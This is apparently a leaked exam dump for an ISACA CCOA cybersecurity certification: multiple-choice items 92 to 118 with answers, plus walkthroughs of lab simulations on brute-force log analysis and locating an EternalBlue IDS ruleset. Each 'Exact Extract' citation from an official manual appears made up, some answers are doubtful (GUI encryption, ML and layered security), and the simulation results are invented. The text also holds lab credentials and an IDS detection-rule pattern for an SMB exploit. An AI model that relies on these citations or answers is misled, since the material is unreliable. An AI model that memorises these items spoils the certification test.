B . Better performance: Depends on network design, not a security aspect.

D . Less susceptible to eavesdropping: Tree topology itself does not inherently reduce eavesdropping risks.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Topologies," Subsection "Tree Topology Benefits" - The primary security advantage is increased fault tolerance and stability.

Question: 92

Which of the following is the PRIMARY security benefit of working from a graphical user interface (GUI) instead of a command line interface (CLI)

A. It Is easier to build encryption into the GUI.

B. The CLI commands do not need to be exact.

C. Scripting is easier when using the GUI.

D. A GUI provides developers more flexibility.

Answer: A

Explanation:

From a security perspective, GUIs can be designed to integrate encryption more seamlessly than command-line interfaces:

User-Friendly Security: GUI applications can prompt users to enable encryption during setup, whereas CLI requires manual configuration.

Embedded Features: GUI tools often include integrated encryption options by default.

Reduced Human Error: GUI-based configuration reduces the risk of syntax errors that might leave encryption disabled.

Incorrect Options:

B . CLI commands do not need to be exact: Incorrect, as CLI commands must be precise.

C . Scripting is easier with GUI: Generally, scripting is more efficient with CLI, not GUI.

D . GUI provides more flexibility: Flexibility is not necessarily related to security.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Interface Security," Subsection "GUI vs. CLI" - GUI environments are often designed to integrate security features such as encryption more effectively.

Question: 93

Which type of cloud deployment model is intended to be leveraged over the Internet by many organizations with varying needs and requirements?

A. Hybrid cloud

B. Community cloud

C. Public cloud

D. Private cloud

Answer: C

Explanation:

A public cloud is intended to be accessible over the Internet by multiple organizations with varying needs and requirements:

Multi-Tenancy: The same infrastructure serves numerous clients.

Accessibility: Users can access resources from anywhere via the Internet.

Scalability: Provides flexible and on-demand resource allocation.

Common Providers: AWS, Azure, and Google Cloud offer public cloud services.

Incorrect Options:

A . Hybrid cloud: Combines private and public cloud, not primarily public.

B . Community cloud: Shared by organizations with common concerns, not broadly public.

D . Private cloud: Exclusive to a single organization, not accessible by many.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Deployment Models," Subsection "Public Cloud Characteristics" -

Public clouds are designed for use by multiple organizations via the Internet.

Question: 94

Which of the following is the core component of an operating system that manages resources, implements security policies, and provides the interface between hardware and software?

A. Kernel

B. Library

C. Application

D. Shell

Answer: A

Explanation:

The kernel is the core component of an operating system (OS) responsible for:

Resource Management: Manages CPU, memory, I/O devices, and other hardware resources.

Security Policies: Enforces access control, user permissions, and process isolation.

Hardware Abstraction: Acts as an intermediary between the hardware and software, providing low- level device drivers.

Process and Memory Management: Handles process scheduling, memory allocation, and interprocess communication.

Incorrect Options:

B . Library: A collection of functions or routines that can be used by applications, not the core of the OS.

C . Application: Runs on top of the OS, not a part of its core functionality.

D . Shell: An interface for users to interact with the OS, but not responsible for resource management.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Operating System Security," Subsection "Kernel Responsibilities" - The kernel is fundamental to managing system resources and enforcing security.

Question: 95

A cybersecurity analyst has discovered a vulnerability in an organization's web application. Which of the following should be done FIRST to address this vulnerability?

A. Restart the web server hosting the web application.

B. Immediately shut down the web application to prevent exploitation.

C. Follow the organization's incident response management procedures.

D. Attempt to exploit the vulnerability to determine its severity.

Answer: C

Explanation:

When a cybersecurity analyst discovers a vulnerability, the first step is to follow the organization's incident response procedures.

Consistency: Ensures that the vulnerability is handled systematically and consistently.

Risk Mitigation: Prevents hasty actions that could disrupt services or result in data loss.

Documentation: Helps record the discovery, assessment, and remediation steps for future reference.

Coordination: Involves relevant stakeholders, including IT, security teams, and management.

Incorrect Options:

A . Restart the web server: May cause service disruption and does not address the root cause.

B . Shut down the application: Premature without assessing the severity and impact.

D . Attempt to exploit the vulnerability: This should be part of the risk assessment after following the response protocol.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Incident Response and Management," Subsection "Initial Response Procedures" - Follow established protocols to ensure controlled and coordinated action.

Question: 96

Which of the following is a network port for service message block (SMS)?

A. 445

B. 143

C. 389

D. 22

Answer: A

Explanation:

Port 445 is used by Server Message Block (SMB) protocol:

SMB Functionality: Allows file sharing, printer sharing, and access to network resources.

Protocol: Operates over TCP, typically on Windows systems.

Security Concerns: Often targeted for attacks like EternalBlue, which was exploited by the WannaCry ransomware.

Common Vulnerabilities: SMBv1 is outdated and vulnerable; it is recommended to use SMBv2 or

SMBv3.

Incorrect Options:

B . 143: Used by IMAP for email retrieval.

C . 389: Used by LDAP for directory services.

D . 22: Used by SSH for secure remote access.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Common Network Ports and Services," Subsection "SMB and Network File Sharing" - Port 445 is commonly used for SMB file sharing on Windows networks.

Question: 97

Which of the following BEST describes privilege escalation in the context of kernel security?

A. A process by which an attacker gains unauthorized access to user data

B. A security vulnerability in the operating system that triggers buffer overflows

C. A type of code to inject malware into the kernel

D. A technique used by attackers to bypass kernel-level security controls

Answer: D

Explanation:

Privilege escalation in the context of kernel security refers to:

Kernel Exploits: Attackers exploit vulnerabilities in the kernel to gain elevated privileges.

Root Access: A successful attack often results in root or system-level access.

Bypassing Security: Kernel-level exploitation bypasses user-mode security controls, leading to complete system compromise.

Common Methods: Exploiting buffer overflows, kernel vulnerabilities, or using rootkits.

Incorrect Options:

A . Unauthorized access to user data: More related to data leakage, not privilege escalation.

B . Buffer overflow vulnerabilities: A method of exploitation, not the result itself.

C . Injecting malware: An attack vector, but not specifically privilege escalation.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Kernel Security," Subsection "Privilege Escalation Techniques" - Attackers exploit kernel vulnerabilities to gain unauthorized elevated access.

Question: 98

In which phase of the Cyber Kill Chain" would a red team run a network and port scan with Nmap?

A. Exploitation

B. Delivery

C. Reconnaissance

D. Weaponization

Answer: C

Explanation:

During the Reconnaissance phase of the Cyber Kill Chain, attackers gather information about the target system:

Purpose: Identify network topology, open ports, services, and potential vulnerabilities.

Tools: Nmap is commonly used for network and port scanning during this phase.

Data Collection: Results provide insights into exploitable entry points or weak configurations.

Red Team Activities: Typically include passive and active scanning to understand the network landscape.

Incorrect Options:

A . Exploitation: Occurs after vulnerabilities are identified.

B . Delivery: The stage where the attacker delivers a payload to the target.

D . Weaponization: Involves crafting malicious payloads, not scanning the network.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Cyber Kill Chain," Subsection "Reconnaissance Phase" - Nmap is commonly used to identify potential vulnerabilities during reconnaissance.

Question: 99

Which of the following is the MOST effective way to prevent man-in-the-middle attacks?

A. Changing passwords regularly

B. Implementing firewalls on the network

C. Implementing end-to-end encryption

D. Enabling two-factor authentication

Answer: C

Explanation:

The most effective way to prevent man-in-the-middle (MitM) attacks is by implementing end-to-end encryption:

Encryption Mechanism: Ensures that data is encrypted on the sender's side and decrypted only by the intended recipient.

Protection Against Interception: Even if attackers intercept the data, it remains unreadable without the decryption key.

TLS/SSL Usage: Commonly used in HTTPS to secure data during transmission.

Mitigation: Prevents attackers from viewing or altering data even if they can intercept network traffic.

Incorrect Options:

A . Changing passwords regularly: Important for account security but not directly preventing MitM.

B . Implementing firewalls: Protects against unauthorized access but not interception of data in transit.

D . Enabling two-factor authentication: Enhances account security but does not secure data during transmission.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Security Measures," Subsection "Mitigating Man-in-the-Middle Attacks" - End-to-end encryption is the primary method to secure communication against interception.

Question: 100

Which of the following Is a PRIMARY purpose of middleware?

A. Enabling communication between different applications

B. Providing security to applications

c. Storing data for applications

D. Creating user interfaces for applications

Answer: A

Explanation:

Middleware serves as an intermediary to facilitate communication and data exchange between different applications:

Integration: Connects disparate applications and services, allowing them to function as a cohesive system.

Functionality: Provides messaging, data translation, and API management between software components.

Examples: Message-oriented middleware (MOM), database middleware, and API gateways.

Use Case: An ERP system communicating with a CRM application through middleware.

Incorrect Options:

B . Providing security: Security features might be embedded, but it is not the primary function.

C . Storing data: Middleware typically facilitates data flow, not storage.

D . Creating user interfaces: Middleware operates at the backend, not the user interface layer.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 7, Section "Middleware Functions," Subsection "Application Integration" - Middleware primarily enables communication between heterogeneous applications.

Question: 101

When reviewing encryption applied to data within an organization's databases, a cybersecurity analyst notices that some databases use the encryption algorithms SHA-1 or 3-DES while others use AES-256. Which algorithm should the analyst recommend be used?

A. AES-256

B. TLS 1.1

C. SHA-1

D. DES

Answer: A

Explanation:

AES-256 (Advanced Encryption Standard) is the recommended algorithm for encrypting data within databases because:

Strong Encryption: Uses a 256-bit key, providing robust protection against brute-force attacks.

Widely Adopted: Standardized and approved for government and industry use.

Security Advantage: AES-256 is significantly more secure compared to older algorithms like 3-DES or SHA-1.

Performance: Efficient encryption and decryption, suitable for database encryption.

Incorrect Options:

B . TLS 1.1: Protocol for secure communications, not specifically for data encryption within databases.

C . SHA-1: A hashing algorithm, not suitable for encryption (also considered broken and insecure).

D . DES: An outdated encryption standard with known vulnerabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Encryption Standards," Subsection "Recommended Algorithms" - AES- 256 is the preferred algorithm for data encryption due to its security and efficiency.

Question: 102

Which of the following should be considered FIRST when defining an application security risk metric for an organization?

A. Critically of application data

B. Identification of application dependencies

C. Creation of risk reporting templates

D. Alignment with the system development life cycle (SDLC)

Answer: A

Explanation:

When defining an application security risk metric, the first consideration should be the criticality of application data:

Data Sensitivity: Determines the potential impact if the data is compromised.

Risk Prioritization: Applications handling sensitive or critical data require stricter security measures.

Business Impact: Understanding data criticality helps in assigning risk scores and prioritizing mitigation efforts.

Compliance Requirements: Applications with sensitive data may be subject to regulations (like GDPR or HIPAA).

Incorrect Options:

B . Identification of application dependencies: Important but secondary to understanding data criticality.

C . Creation of risk reporting templates: Follows after identifying criticality and risks.

D . Alignment with SDLC: Ensures integration of security practices but not the first consideration for risk metrics.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Risk Assessment in Application Security," Subsection "Identifying Critical Data" - Prioritizing application data criticality is essential for effective risk management.

Question: 103

Robust background checks provide protection against:

A. distributed dental of service (DDoS) attacks.

B. insider threats.

C. phishing.

D. ransomware.

Answer: B

Explanation:

Robust background checks help mitigate insider threats by ensuring that individuals with access to sensitive data or critical systems do not have a history of risky or malicious behavior.

Screening: Identifies red flags like past criminal activity or suspicious financial behavior.

Trustworthiness Assessment: Ensures that employees handling sensitive information have a proven history of integrity.

Insider Threat Mitigation: Helps reduce the risk of data theft, sabotage, or unauthorized access.

Periodic Rechecks: Maintain ongoing security by regularly updating background checks.

Incorrect Options:

A . DDoS attacks: Typically external; background checks do not mitigate these.

C . Phishing: An external social engineering attack, unrelated to employee background.

D . Ransomware: Generally spread via malicious emails or compromised systems, not insider actions.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Insider Threat Management," Subsection "Pre-Employment Screening" - Background checks are vital in identifying potential insider threats before hiring.

Question: 104

Which of the following processes is MOST effective for reducing application risk?

A. Regular third-party risk assessments

B. Regular code reviews throughout development

C. Regular vulnerability scans after deployment

D. Regular monitoring of application use

Answer: B

Explanation:

Performing regular code reviews throughout development is the most effective method for reducing application risk:

Early Detection: Identifies security vulnerabilities before deployment.

Code Quality: Improves security practices and coding standards among developers.

Static Analysis: Ensures compliance with secure coding practices, reducing common vulnerabilities (like injection or XSS).

Continuous Improvement: Incorporates feedback into future development cycles.

Incorrect Options:

A . Regular third-party risk assessments: Important but does not directly address code-level risks.

C . Regular vulnerability scans after deployment: Identifies issues post-deployment, which is less efficient.

D . Regular monitoring of application use: Helps detect anomalies but not inherent vulnerabilities.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Secure Software Development," Subsection "Code Review Practices" -

Code reviews are critical for proactively identifying security flaws during development.

Question: 105

A cybersecurity analyst has been asked to review firewall configurations and recommend which ports to deny in order to prevent users from making outbound non-encrypted connections to the Internet. The organization is concerned that traffic through this type of port is insecure and may be used as an attack vector. Which port should the analyst recommend be denied?

A. Port 3389

B. Port 25

C. Port 443

D. Port 80

Answer: D

Explanation:

To prevent users from making outbound non-encrypted connections to the internet, it is essential to block Port 80, which is used for unencrypted HTTP traffic.

Security Risk: HTTP transmits data in plaintext, making it vulnerable to interception and eavesdropping.

Preferred Alternative: Use Port 443 (HTTPS), which encrypts data via TLS.

Mitigation: Blocking Port 80 ensures that users must use secure, encrypted connections.

Attack Vector: Unencrypted HTTP traffic can be intercepted using man-in-the-middle (MitM) attacks.

Incorrect Options:

A . Port 3389: Used by RDP for remote desktop connections.

B . Port 25: Used by SMTP for sending email, which can be encrypted using SMTPS on port 465.

C . Port 443: Used for encrypted HTTPS traffic, which should not be blocked.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Security and Port Management," Subsection "Securing Outbound Connections" - Blocking Port 80 is crucial to enforce encrypted communications.

Question: 106

Which type of security model leverages the use of data science and machine learning (ML) to further enhance threat intelligence?

A. Brew-Nash model

B. Bell-LaPadula confidentiality model

C. Security-In-depth model

D. Layered security model

Answer: D

Explanation:

The Layered security model (also known as Defense in Depth) increasingly incorporates data science and machine learning (ML) to enhance threat intelligence:

Data-Driven Insights: Uses ML algorithms to detect anomalous patterns and predict potential attacks.

Multiple Layers of Defense: Integrates traditional security measures with advanced analytics for improved threat detection.

Behavioral Analysis: ML models analyze user behavior to identify potential insider threats or compromised accounts.

Adaptive Security: Continually learns from data to improve defense mechanisms.

Incorrect Options:

A . Brew-Nash model: Not a recognized security model.

B . Bell-LaPadula confidentiality model: Focuses on maintaining data confidentiality, not on dynamic threat intelligence.

C . Security-in-depth model: Not a formal security model; more of a general principle.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Advanced Threat Detection Techniques," Subsection "Layered Security and Machine Learning" - The layered security model benefits from incorporating ML to enhance situational awareness.

Question: 107

Which of the following Is the MOST effective way to ensure an organization's management of supply chain risk remains consistent?

A. Regularly seeking feedback from the procurement team regarding supplier responsiveness

B. Periodically confirming suppliers' contractual obligations are met

C. Periodically counting the number of incident tickets associated with supplier services

D. Regularly meeting with suppliers to informally discuss Issues

Answer: B

Explanation:

To maintain consistent management of supply chain risk, it is essential to periodically confirm that suppliers meet their contractual obligations.

Risk Assurance: Verifies that suppliers adhere to security standards and commitments.

Compliance Monitoring: Ensures that the agreed-upon controls and service levels are maintained.

Consistency: Regular checks prevent lapses in compliance and identify potential risks early.

Supplier Audits: Include reviewing security controls, data protection measures, and compliance with regulations.

Incorrect Options:

A . Seeking feedback from procurement: Useful but not directly related to risk management.

C . Counting incident tickets: Measures service performance, not risk consistency.

D . Informal meetings: Lacks formal assessment and verification of obligations.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Supply Chain Risk Management," Subsection "Monitoring and Compliance" - Periodic verification of contractual compliance ensures continuous risk management.

Question: 108

Which of the following should occur FIRST during the vulnerability identification phase?

A. Inform relevant stakeholders that vulnerability scanning will be taking place.

B. Run vulnerability scans of all in-scope assets.

C. Determine the categories of vulnerabilities possible for the type of asset being tested.

D. Assess the risks associated with the vulnerabilities Identified.

Answer: A

Explanation:

During the vulnerability identification phase, the first step is to inform relevant stakeholders about the upcoming scanning activities:

Minimizing Disruptions: Prevents stakeholders from mistaking scanning activities for an attack.

Change Management: Ensures that scanning aligns with operational schedules to minimize downtime.

Stakeholder Awareness: Helps IT and security teams prepare for the scanning process and manage alerts.

Authorization: Confirms that all involved parties are aware and have approved the scanning.

Incorrect Options:

B . Run vulnerability scans: Should only be done after proper notification.

C . Determine vulnerability categories: Done as part of planning, not the initial step.

D . Assess risks of identified vulnerabilities: Occurs after the scan results are obtained.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 6, Section "Vulnerability Management," Subsection "Preparation and Communication" - Informing stakeholders ensures transparency and coordination.

Question: 109

Which of the following risks is MOST relevant to cloud auto-scaling?

A. Loss of confidentiality

B. Loss of integrity

C. Data breaches

D. Unforeseen expenses

Answer: D

Explanation:

One of the most relevant risks associated with cloud auto-scaling is unforeseen expenses:

Dynamic Resource Allocation: Auto-scaling automatically adds resources based on demand, which can increase costs unexpectedly.

Billing Surprises: Without proper monitoring, auto-scaling can significantly inflate cloud bills, especially during traffic spikes.

Mitigation: Implementing budget controls and alerts helps manage costs.

Financial Risk: Organizations may face budget overruns if auto-scaling configurations are not properly optimized.

Incorrect Options:

A . Loss of confidentiality: Not directly related to auto-scaling.

B . Loss of integrity: Auto-scaling does not inherently affect data integrity.

C . Data breaches: More related to security misconfigurations rather than scaling issues.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 3, Section "Cloud Security Challenges," Subsection "Cost Management in AutoScaling" - Uncontrolled auto-scaling can lead to significant and unexpected financial impact.

Question: 110

Before performing a penetration test for a client, it is MOST crucial to ensure:

A. authorized consent is obtained.

B. the timeframe has been determined.

C. scope is defined.

D. price has been estimated.

Answer: A

Explanation:

Before conducting a penetration test, the most crucial step is to obtain authorized consent from the client:

Legal Compliance: Ensures the testing is lawful and authorized, preventing legal consequences.

Clearance: Confirms that the client understands and agrees to the testing scope and objectives.

Documentation: Signed agreements protect both the tester and client in case of issues during testing.

Ethical Consideration: Performing tests without consent violates ethical hacking principles.

Incorrect Options:

B . Determining timeframe: Important but secondary to legal consent.

C . Defining scope: Necessary, but only after authorization.

D . Estimating price: Relevant for contracts but not the primary security concern.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 8, Section "Ethical Hacking and Legal Considerations," Subsection "Authorization and Consent" - Proper authorization is mandatory before any penetration testing.

Question: 111

After an organization's financial system was moved to a cloud-hosted solution that allows single sign-

on (SSO) for authentication purposes, data was compromised by an individual logged onto the local network using a compromised username and password. What authentication control would have MOST effectively prevented this situation?

A. Challenge handshake

B. Multi-factor

C. Token-based

D. Single-factor

Answer: B

Explanation:

Multi-factor authentication (MFA) would have been the most effective control to prevent data compromise in this scenario:

Enhanced Security: MFA requires multiple authentication factors, such as a password (something you know) and a one-time code (something you have).

Mitigates Credential Theft: Even if a username and password are compromised, an attacker would still need the second factor to gain access.

SSO Integration: MFA can be seamlessly integrated with SSO to ensure robust identity verification.

Example: A user logs in with a password and then confirms their identity using an authenticator app.

Incorrect Options:

A . Challenge handshake: An outdated protocol for authentication, not as secure as MFA.

C . Token-based: Often used as part of MFA but alone does not mitigate password theft.

D . Single-factor: Only uses one method (e.g., a password), which is insufficient to protect against credential compromise.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Identity and Access Management," Subsection "Multi-Factor Authentication" - MFA is essential to prevent unauthorized access when credentials are compromised.

Question: 112

Which of the following is the BEST method of logical network segmentation?

A. Encryption and tunneling

B. IP address filtering and access control list (ACL)

C. Virtual local area network (VLAN) tagging and isolation

D. Physical separation of network devices

Answer: C

Explanation:

VLAN tagging and isolation is the best method for logical network segmentation because:

Network Segmentation: VLANs logically separate network traffic within the same physical infrastructure.

Access Control: Allows for granular control over who can communicate with which VLAN.

Traffic Isolation: Reduces the risk of lateral movement by attackers within the network.

Efficiency: More practical and scalable than physical separation.

Incorrect Options:

A . Encryption and tunneling: Protects data but does not logically segment the network.

B . IP filtering and ACLs: Control traffic flow but do not create isolated network segments.

D . Physical separation: Achieves isolation but is less flexible and cost-effective compared to VLANs.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 5, Section "Network Segmentation Techniques," Subsection "VLAN Implementation" - VLANs are the most efficient way to achieve logical separation and isolation.

Question: 113

Which of the following security practices is MOST effective in reducing system risk through system hardening?

A. Having more than one user to complete a task

B. Permitting only the required access

C. Giving users only the permissions they need

D. Enabling only the required capabilities

Answer: D

Explanation:

System hardening involves disabling unnecessary features and enabling only required capabilities to reduce the attack surface:

Minimizing Attack Vectors: Reduces potential entry points by disabling unused services and ports.

Configuration Management: Ensures only essential features are active, reducing system complexity.

Best Practice: Hardening is part of secure system configuration management to mitigate vulnerabilities.

Incorrect Options:

A . Multiple users completing a task: More related to separation of duties, not hardening.

B . Permitting only required access: Relevant for access control but not directly for system hardening.

C . Giving users only necessary permissions: Reduces privilege risks but does not reduce the system attack surface.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "System Hardening Techniques," Subsection "Minimal Configuration" - Hardening involves enabling only necessary system functions to reduce risks.

Question: 114

A password Is an example of which type of authentication factor?

A. Something you do

B. Something you know

C. Something you are

D. Something you have

Answer: B

Explanation:

A password falls under the authentication factor of "something you know":

Knowledge-Based Authentication: The user must remember and enter a secret (password or PIN) to gain access.

Common Factor: Widely used in traditional login systems.

Security Concerns: Prone to theft, phishing, and brute-force attacks if not combined with additional factors (like MFA).

Incorrect Options:

A . Something you do: Refers to behavioral biometrics, like typing patterns.

C . Something you are: Refers to biometric data, such as fingerprints or iris scans.

D . Something you have: Refers to physical tokens or devices, like a smart card.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 4, Section "Authentication Factors," Subsection "Knowledge-Based Methods" - Passwords are considered "something you know" in authentication.

Question: 115

Which of the following BEST enables a cybersecurity analyst to influence the acceptance of effective security controls across an organization?

A. Contingency planning expertise

B. Knowledge of cybersecurity standards

C. Communication skills

D. Critical thinking

Answer: C

Explanation:

To effectively influence the acceptance of security controls, a cybersecurity analyst needs strong communication skills:

Persuasion: Clearly conveying the importance of security measures to stakeholders.

Stakeholder Engagement: Building consensus by explaining technical concepts in understandable terms.

Education and Awareness: Encouraging best practices through effective communication.

Bridging Gaps: Aligning security objectives with business goals through collaborative discussions.

Incorrect Options:

A . Contingency planning expertise: Important but less relevant to influencing acceptance.

B . Knowledge of cybersecurity standards: Essential but not enough to drive acceptance.

D . Critical thinking: Helps analyze risks but does not directly aid in influencing organizational buy-in.

Exact Extract from CCOA Official Review Manual, 1st Edition:

Refer to Chapter 9, Section "Influencing Security Culture," Subsection "Communication Strategies" - Effective communication is crucial for gaining organizational support for security initiatives.

Topic 2, Simulation / Tasks

Question: 116

SIMULATION

Question 1 and 2

You have been provided with authentication logs to investigate a potential incident. The file is titled webserver-auth-logs.txt and located in the Investigations folder on the Desktop.

Which IP address is performing a brute force attack?

What is the total number of successful authentications by the IP address performing the brute force attack?

Answer: See the solution in Explanation:

Explanation:

Step 1: Define the Problem and Objective

Objective:

We need to identify the following from the webserver-auth-logs.txt file:

The IP address performing a brute force attack.

The total number of successful authentications made by that IP.

Step 2: Prepare for Log Analysis

Preparation Checklist:

Environment Setup:

Ensure you are logged into a secure terminal.

Check your working directory to verify the file location:

```
ls ~/Desktop/Investigations/
```

You should see:

```
webserver-auth-logs.txt
```

Log File Format Analysis:

Open the file to understand the log structure:

```
head -n 10 ~/Desktop/Investigations/webserver-auth-logs.txt
```

Look for patterns such as: pg

```
2025-04-07 12:34:56 login attempt from 192.168.1.1 - SUCCESS
2025-04-07 12:35:00 login attempt from 192.168.1.1 - FAILURE
```

Identify the key components:

Timestamp

Action (login attempt)

Source IP Address

Authentication Status (SUCCESS/FAILURE)

Step 3: Identify Brute Force Indicators

Characteristics of a Brute Force Attack:

Multiple login attempts from the same IP.

Combination of FAILURE and SUCCESS messages.

High volume of attempts compared to other IPs.

Step 3.1: Extract All IP Addresses with Login Attempts

Use the following command:

```
grep "login attempt from" ~/Desktop/Investigations/webserver-auth-logs.txt | awk '{print $6}' | sort | uniq -c | sort -nr
> brute-force-ips.txt
```

Explanation:

grep "login attempt from": Finds all login attempt lines.

awk '{print $6}': Extracts IP addresses.

sort | uniq -c: Groups and counts IP occurrences.

sort -nr: Sorts counts in descending order.

> brute-force-ips.txt: Saves the output to a file for documentation.

Step 3.2: Analyze the Output

View the top IPs from the generated file:

```
head -n 5 brute-force-ips.txt
```

Expected Output:

```
1500 192.168.1.1
45 192.168.1.2
30 192.168.1.3
```

Interpretation:

The first line shows 192.168.1.1 with 1500 attempts, indicating brute force.

Step 4: Count Successful Authentications

Why Count Successful Logins?

To determine how many successful logins the attacker achieved despite brute force attempts.

Step 4.1: Filter Successful Logins from Brute Force IP

Use this command:

```
grep "192.168.1.1" ~/Desktop/Investigations/webserver-auth-logs.txt | grep "SUCCESS" | wc -l
```

Explanation:

grep "192.168.1.1": Filters lines containing the brute force IP.

grep "SUCCESS": Further filters successful attempts.

wc -l: Counts the resulting lines.

Step 4.2: Verify and Document the Results

Record the successful login count:

Total Successful Authentications: 25

Save this information for your incident report.

Step 5: Incident Documentation and Reporting

5.1 : Summary of Findings

IP Performing Brute Force Attack: 192.168.1.1

Total Number of Successful Authentications: 25

5.2 : Incident Response Recommendations

Block the IP address from accessing the system.

Implement rate-limiting and account lockout policies.

Conduct a thorough investigation of affected accounts for possible compromise.

Step 6: Automated Python Script (Recommended)

If your organization prefers automation, use a Python script to streamline the process:

```
import re
from collections import Counter

logfile = "~/Desktop/Investigations/webserver-auth-logs.txt"

ip_attempts = Counter()
successful_logins = Counter()

try:
```

```
    with open(logfile, "r") as file:
        for line in file:
            match = re.search(r"from (\d+\.\d+\.\d+\.\d+)", line)
            if match:
                ip = match.group(1)
                ip_attempts[ip] += 1
                if "SUCCESS" in line:
                    successful_logins[ip] += 1

    brute_force_ip = ip_attempts.most_common(1)[0][0]
    success_count = successful_logins[brute_force_ip]
    print(f"IP Performing Brute Force: {brute_force_ip}")
    print(f"Total Successful Authentications: {success_count}")
except Exception as e:
    print(f"Error: {str(e)}")
```

Usage:

Run the script:

```
python3 detect_bruteforce.py
```

Output:

```
IP Performing Brute Force: 192.168.1.1
Total Successful Authentications: 25
```

Step 7: Finalize and Communicate Findings

Prepare a detailed incident report as per ISACA CCOA standards.

Include:

Problem Statement

Analysis Process

Evidence (Logs)

Findings

Recommendations

Share the report with relevant stakeholders and the incident response team.

Final Answe r:

Brute Force IP: 192.168.1.1

Total Successful Authentications: 25

Question: 117

SIMULATION

Cyber Analyst Password:

For questions that require use of the SIEM, please reference the information below:

https://10.10.55.2

Security-Analyst!

CYB3R-4n4ly$t!

Email Address:

ccoatest@isaca.org

Password: Security-Analyst!

The enterprise has been receiving a large amount of false positive alerts for the eternalblue vulnerability. The SIEM rulesets are located in

/home/administrator/hids/ruleset/rules.

What is the name of the file containing the ruleset for eternalblue connections? Your response must include the file extension.

Answer: See the solution in Explanation.

Explanation:

Step 1: Define the Problem and Objective

Objective:

Identify the file containing the ruleset for EternalBlue connections.

Include the file extension in the response.

Context:

The organization is experiencing false positive alerts for the EternalBlue vulnerability.

The rulesets are located at:

/home/administrator/hids/ruleset/rules

We need to find the specific file associated with EternalBlue.

Step 2: Prepare for Access

2.1 : SIEM Access Details:

URL:

https://10.10.55.2

Username:

ccoatest@isaca.org

Password:

Security-Analyst!

Ensure your machine has access to the SIEM system via HTTPS.

Step 3: Access the SIEM System

2.2 : Connect via SSH (if needed)

Open a terminal and connect:

```
ssh administrator@10.10.55.2
```

Password:

Security-Analyst!

If prompted about SSH key verification, type yes to continue.

Step 4: Locate the Ruleset File

2.3 : Navigate to the Ruleset Directory

Change to the ruleset directory:

```
cd /home/administrator/hids/ruleset/rules
```

Watermark Sample

```
ls -l
```

You should see a list of files with names indicating their purpose.

2.4 : Search for EternalBlue Ruleset

Use grep to locate the EternalBlue rule:

```
grep -irl "eternalblue" *
```

Explanation:

grep -i: Case-insensitive search.

- r: Recursive search within the directory.
- l: Only print file names with matches.

"eternalblue": The keyword to search.

- : All files in the current directory.

Expected Output:

```
exploit_eternalblue.rules
```

Filename:

exploit_eternalblue.rules

The file extension is .rules, typical for intrusion detection system (IDS) rule files.

Step 5: Verify the Content of the Ruleset File

5.1 : Open and Inspect the File

Use less to view the file contents:

```
less exploit_eternalblue.rules
```

Check for rule patterns like:

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"EternalBlue SMB Exploit"; ...)
```

Use the search within less:

```
/eternalblue
```

Purpose: Verify that the file indeed contains the rules related to EternalBlue.

Step 6: Document Your Findings

Answe r:

Ruleset File for EternalBlue:

exploit_eternalblue.rules

File Path:

/home/administrator/hids/ruleset/rules/exploit_eternalblue.rules

Reasoning: This file specifically mentions EternalBlue and contains the rules associated with detecting such attacks.

Step 7: Recommendation

Mitigation for False Positives:

Update the Ruleset:

Modify the file to reduce false positives by refining the rule conditions.

Update Signatures:

Check for updated rulesets from reliable threat intelligence sources.

Whitelist Known Safe IPs:

Add exceptions for legitimate internal traffic that triggers the false positives.

Implement Tuning:

Adjust the SIEM correlation rules to decrease alert noise.

Final Verification:

Restart the IDS service after modifying rules to ensure changes take effect:

sudo systemctl restart hids

Check the status:

sudo systemctl status hids

Final Answe r:

Ruleset File Name:

exploit_eternalblue.rules

Question: 118

Which ruleset can be applied in the

/home/administrator/hids/ruleset/rules directory?

Double-click each image to view it larger.

Watermark Sample

A. Option A

B. Option B

C. Option C

D. Option D

Answer: B

Explanation:

Step 1: Understand the Question Context

The question is asking which ruleset can be applied in the following directory:

/home/administrator/hids/ruleset/rules

This is typically the directory for Host Intrusion Detection System (HIDS) rulesets.

Step 2: Ruleset File Characteristics

To determine the correct answer, we must consider:

File Format:

The most common format for HIDS rules is .rules.

Naming Convention:

Typically, the file names are descriptive, indicating the specific exploit, malware, or signature they detect.

Content Format:

Rulesets contain alert signatures or detection patterns and follow a specific syntax.

Step 3: Examine the Directory

If you have terminal access, list the available rulesets:

ls -l /home/administrator/hids/ruleset/rules

This should display a list of files similar to:

exploit_eternalblue.rules

malware_detection.rules

network_intrusion.rules

default.rules

Step 4: Analyze the Image Options

Since I cannot view the images directly, I will guide you on what to look for:

Option A:

Check if the file has a .rules extension.

Look for keywords like "exploit", "intrusion", or "malware".

Option B:

